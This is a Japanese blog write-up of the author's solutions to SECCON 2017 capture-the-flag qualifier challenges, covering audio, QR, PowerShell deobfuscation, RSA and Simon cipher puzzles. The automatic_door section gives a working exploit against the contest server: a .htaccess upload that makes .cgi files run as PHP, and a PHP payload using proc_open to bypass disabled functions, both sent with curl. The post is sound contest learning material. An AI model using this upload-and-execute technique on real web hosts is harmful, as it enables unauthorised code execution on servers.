tmytのらくがき

個人の日記レベルです

SECCON 2017 オンライン予選に参加してたのでまとめ

SECCON 2017 オンライン予選が2017/12/09-10であったので見物がてら参加してました。 同大会に参加するの今回が初めてだったけどなんだかんだ楽しかったです。

チームでは13問、僕は6問解けたのでそのまとめ。

putchar music

問題を見る限り、Linuxで実行するとサウンドデバイスにPCMデータを直接書き込んで音楽が聞こえるらしい。

残念ながら手元にはWindowsマシンしかなかったけども、幸いWSL環境はあったのでとりあえずコンパイル。 実行して、ファイルにリダイレクト。適当にCtrl+Cしてとめる。ほっとくと無限にディスク食いつぶすので。

$ gcc music.c -lm
$ ./a.out > bin
^C

Linuxだとリダイレクトで再生できるけど、残念ながらWindowsなのでとりあえずバイナリエディタで Waveヘッダをくっつける。

なんかよくわからんけど、バイナリダンプを見た感じ、8bit/モノラルに見えるからそれに合わせてヘッダをこんな感じで手書き。 何回か再生しながら、再生速度を感じ取って、8kHz/8bit/モノラルになるように適当に埋めた。

52 49 46 46 00 00 00 20 57 41 56 45 66 6D 74 20
10 00 00 00 01 00 01 00 00 20 00 00 00 20 00 00
01 00 08 00 64 61 74 61 .. .. .. .. .. .. .. ..

再生してみると、スターウォーズのテーマ曲が再生されるので、SECCON{STAR_WARS}を入力しておしまい。

Qubic Rube

QRコードルービックキューブになってる問題。 アクセスすると、各面にQRコードがついた立方体がWebGLでくるくるしてる。

たぶん自動で解くコードを作るのがいいんだろうけど、めんどくさかったので手作業で解く。

画像はimages/問題番号_{L,R,U,D,F,B}.pngに入っていて、その画像から次の問題URLを 獲得していって50個解けばフラグ獲得。

f:id:tmyt:20171210215313p:plain

C#で画像をダウンロードして、9分割して、色ごとに分けるところまでは自動でするように。 そのあと、分割した画像を回転させて、QRコードを復元する部分を手動で解決。 回転ボタンを押すたびにZxingでコードを認識させて、そこに次のURLが入っていれば、 画像のリストを更新する。

というのを40回ぐらいやるとフラグが見つかる(10個ぐらいまではほかのメンバがやってくれてた)。 見つかったフラグSECCON{Thanks to Denso Wave for inventing the QR code}を入力してクリア。

使ったコードはこれ。

github.com

Powerful Shell

PowerShellスクリプトを解析して答えを探す問題。

とりあえず、PowerShell ISEで実行してみると、

Debugging is prohibited

と出るのでそこを探すと、15113行目と、15559行目にデバッガつぶすコードがあるからコメントアウトした。

生成されたスクリプトを保存してみると、先頭に謎のホストチェック。とりあえずつぶす。 そのあと実行すると、ピアノが出てきて、secret melodyを演奏しろとでてくる。 secret melodyは、ララシララシラシドシラシラファ。曲目はさくらですね。

入力すると、next stageへ。 次もまたコードを動的生成して実行しているので、実行されているコードをリダイレクトでファイルに保存。 中身を見るとこんな難読化されたコードがでてくる。

${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};
${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};
${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";
${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);
${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}

とりあえずISEで実行。実行結果を見るとまだコードが動的生成されているのでもう1回リダイレクトして保存。 その中身は

[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHa

こういう感じなので、[CHar]を外して、文字コードだけにしたファイルにした。

$ for c in $(cat list); do printf "%02x" $c; done | xxd -r -ps

出てきたコードはこう。

$ECCON=Read-Host -Prompt 'Enter the password'
If($ECCON -eq 'P0wEr$H311'){
        Write-Host 'Good Job!';
        Write-Host "SECCON{$ECCON}"
}

実行せずともフラグはわかるので、SECCON{P0wEr$H311} を入力して終わり。

Ps and Qs

ファイルを展開すると、cipher, pub1.pub, pub2.pubの3ファイルが入ってる。 2個の公開鍵があると、秘密鍵が割り出せることがある、らしい。

fastgcdというソリューションに2個公開鍵に含まれているNの値を入れてあげると、 q1, q2が得られた。

これをもとにしてPython秘密鍵を復元した。

from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse

N = 0x00cfcfbbeea7df143a8ac208b1aa1d2f86545ac4cb588c94a3fb1c14ad91a4f0b936157c5a4b869c18a8b864f4726bf8fcdc020cb41042bac96784ab7d03f9374947efb0bc3d665831974340159ffc3db7c8e74b6390fda6eec30b81c6ff624e8d3f5b17bfb7a5c7ffd8ecf4e6518b393abefddd0faeba4308746ba63f8106b59d7e058943a00131a7d4e538c464b270577647edbc478cc1ce9585efe877305b3a7c2e7c44db5475eddadc345a2c90a946771cac0a454cdbcb461f2840e7613c83e9cecc94037fa09bb9daa3f180562c01df0be6c51f0c06e8f0e2d6e1a5e50d0a28c3881140770a9f45934146b7f359b939ce23f0fa507a6f4e454571430952003c20f1d97a67140b6e5fcbfb3b376e4e24969aeb1d489cfc72af4f15a4788a1aa97c89756d1d4d94aa47e7cd3a81aecb92448cc92c77d2ef576aa0dbc1350862accddaddbce80357f0cd5b854dd0f8c4627fe4b718b24ecfe11ed24c3be22f00643bbed4ee5e345af176e5b76d23a2f80e0ec6f34e5718c62a70fe5570c28b807b44f22eadebd9b5ff906f6a85be88c0c8f6e5f880a51f17f84db1c2eefea8af34040444ced1a37df0e4f5f72cc3f50b7e427c8c2d8b6186ead762f0c444b3ca3a0103ed12a93bce9cae7479a229ebbc0a648eaa6f97e5051a66eb09ebd7348e92f75f125ebdc367e2a7d1da7759d41fae2e2635bf4b7a7f91becab3ac7d05bd
q = 0xe1b1e9fa3b5075f426eb220a9aa8d7a674219045ae500e0a45dc40b71ecd6ff56317efa5ada5d48d49a5e83d6f6042c35c5dd06d2a182cdd6d15f0588ab429b7a001943c7dd83a14818c172be911841ff4ce430646c0a3bb877d07a50306da67a02d3042edb1169740f7e30a1e3aed163afbb4ffed13b8ddd29b5567231026ca5c38994dd0920e04965625153e06140e03358b758f7d2d49e12e9eb246f6571505920cbeb1537d2996ea4453b5018348bbd6c80f5ebe640f97a8cc74b1c20ca6d33f96f0699b852bab50027f8bd704cf088ac6db47c7d6d8ed0416d0b61e9d7ebfb94e31bcc84368d37914af9539b8d30fe35bba367a64b278c3353fa0f24f45
p = N / q
E = 0x10001
d = inverse(E, (p-1)*(q-1))

key = RSA.construct(map(long, (N, E, d)))
print key.exportKey()

出来上がった鍵を使って、OpenSSLでデコードする。

$ openssl rsautl -decrypt -inkey priv.key -in cipher
SECCON{1234567890ABCDEF}

Simon and Speck Block Ciphers

Simon暗号っていうのが使われてて、暗号鍵がフラグになっていて、4バイトの伏字を見つければOKみたい。

探してみると、Python向けのモジュールがGitHubにあった*1。 これを使って、適当にPython書いて、実行してあとは寝てました。

from simon import SimonCipher

key = 0x534543434f4e7b202020207d
target = 0xbb5d12ba422834b5

c = key
for i in range(0x5e):
  for j in range(0x5e):
    for k in range(0x5e):
      for l in range(0x5e):
        simon = SimonCipher(c, key_size=96, block_size=64)
        msg = simon.encrypt(0x6d564d37426e6e71)
        if msg == target:
          print hex(c)
        c += 0x0100
      c -= 0x005e00
      c += 0x010000
    c -= 0x005e0000
    c += 0x01000000
  c -= 0x005e000000
  c += 0x0100000000

朝起きたら0x534543434f4e7b36507a307dというのが出力されていました。 これをASCIIで読むとSECCON{6Pz0}になるのでこれを入力してクリア。

automatic_door

PHPである程度任意のファイルが書き込めるので、/flag_xを実行させることができれば めでたくフラグゲット。という問題。

PHPファイルをみると、ファイル名にphを含んでいる場合は書き込めないようになっている。 ここをどうにかするために.htaccessを書き込んで適当なファイル、今回は.cgiPHP実行コードであることに変更する。

<FilesMatch \.cgi$>
    SetHandler application/x-httpd-php
</FilesMatch>

これを、curl.htaccessとしてなげつける。

$ curl -X POST -F "file=@htaccess" 'http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=write&filename=.htaccess'

これで.cgiPHPとして実行できるようになったのでPHPをアップロードする。

<?php
error_reporting(32767);
print_r(scandir('/'));
print_r(stat('/flag_x'));

$process = proc_open('/flag_x', array(1 => array('pipe', 'w')), $pipes, '/', array());

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($proces);
$ curl -X POST -F "file=@exec.cgi" 'http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=write&filename=exec.php'

この環境は、php.iniのdisable_functionsで次の関数が無効になっている。

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped, pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig, pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask, pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, exec,passthru,popen,shell_exec,system

しかし、proc_open系は無効になっていないのでそれを使って/flag_xを実行する。

最後に保存先を確認してアクセス。

$ curl 'http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=pwd'
sandbox/FAIL_3db4dcd5b68eb4195dd1084180e90ebee152956e/

PHPで出力されたフラグSECCON{f6c085facd0897b47f5f1d7687030ae7}を入力すればおわり。

まとめ

ほかのメンバーが解いてくれたのは、Vigenere3d, Run me!, SHA-1 is dead, Log search, Theroy of Relativity, JPEG file。よく見ると、Pwnは全然解けてないし、なかなかひどい感じだった

初めてにしては結構楽しめたし、来年もまた参加してみたいですね。